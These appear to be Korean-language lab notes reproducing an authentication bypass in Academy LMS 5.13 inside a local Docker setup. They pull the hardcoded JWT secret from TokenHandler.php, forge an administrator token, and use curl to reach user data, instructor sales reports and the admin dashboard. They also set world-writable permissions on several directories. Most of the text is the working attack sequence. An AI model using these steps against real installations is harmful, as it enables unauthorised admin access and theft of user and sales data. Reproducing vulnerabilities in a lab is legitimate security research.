MACos 환경에서 구현
docker --version
docker-compose --version
python3 --version
pip3 --version

mkdir academy-lms-poc
cd academy-lms-poc
mkdir -p {academy_lms,scripts,logs}

nano docker-compose.yml
version: '3.8'
services:
mysql:
image: mysql:5.7
platform: linux/amd64
container_name: academy_lms_db
restart: always
environment:
MYSQL_ROOT_PASSWORD: rootpass123
MYSQL_DATABASE: academy_lms
MYSQL_USER: academy_user
MYSQL_PASSWORD: academy_pass
ports:
- "3306:3306"
volumes:
- mysql_data:/var/lib/mysql
networks:
- academy_network
php-apache:
image: php:7.4-apache
container_name: academy_lms_web
restart: always
depends_on:
- mysql
ports:
- "8080:80"
volumes:
- ./academy_lms:/var/www/html
networks:
- academy_network
environment:
- APACHE_DOCUMENT_ROOT=/var/www/html
command: >
bash -c "
docker-php-ext-install mysqli pdo pdo_mysql &&
a2enmod rewrite &&
apache2-foreground
"
networks:
academy_network:
driver: bridge
volumes:
mysql_data:

docker compose pull
docker-compose up -d


docker-compose ps
docker logs academy_lms_web

cp -r /path/to/academy_lms_v5.13/* ~/academy-lms-poc/academy_lms/
git clone https://github.com/your-repo/academy-lms-5.13.git .
chmod -R 777 uploads/
chmod -R 777 application/cache/
chmod -R 777 application/logs/




$config['base_url'] = 'http://localhost:8080/';

http://localhost:8080/install


각 정보에 맞게 입력
Install 클릭

정보에 맞게 알아서 입력


http://localhost:8080/login


docker exec academy_lms_web cat /var/www/html/application/libraries/TokenHandler.php
cat ~/academy-lms-poc/academy_lms/application/libraries/TokenHandler.php
PRIVATE $key = "academy-lms-api-token-handler";


curl 'http://localhost:8080/api/login?email=____@example.com&password=____' | python3 -m json.tool

NORMAL_TOKEN="eyJhbGci..."
echo "Normal Token: $NORMAL_TOKEN"

pip3 install pyjwt
python3 forge_jwt.py
→ Admin 의 Token key 값이 나와버림


curl -X GET "http://localhost:8080/api/userdata?auth_token=$FORGED_TOKEN" | jq .
curl -X GET "http://localhost:8080/api/my_courses?auth_token=$FORGED_TOKEN" | jq .
curl -X GET "http://localhost:8080/api_instructor/courses?auth_token=$FORGED_TOKEN" | jq .
판매 리포트 조회

curl -i "http://localhost:8080/api/web_redirect_to_buy_course/${FORGED_TOKEN}/1/http"

http://localhost:8080/api/web_redirect_to_buy_course/<실제JWT토큰>/1/http
터미널에서
echo "http://localhost:8080/api/web_redirect_to_buy_course/${FORGED_TOKEN}/1/http"
를 통해 브라우저에 실제로 넣을 URL 얻을 수 있음

/admin/dashboard로 리다이렉트
python3 scripts/full_attack.py
docker logs academy_lms_web
docker logs academy_lms_db
cat ~/academy-lms-poc/academy_lms/application/logs/*.php
docker-compose down
docker-compose stop
docker-compose down -v
rm -rf ~/academy-lms-poc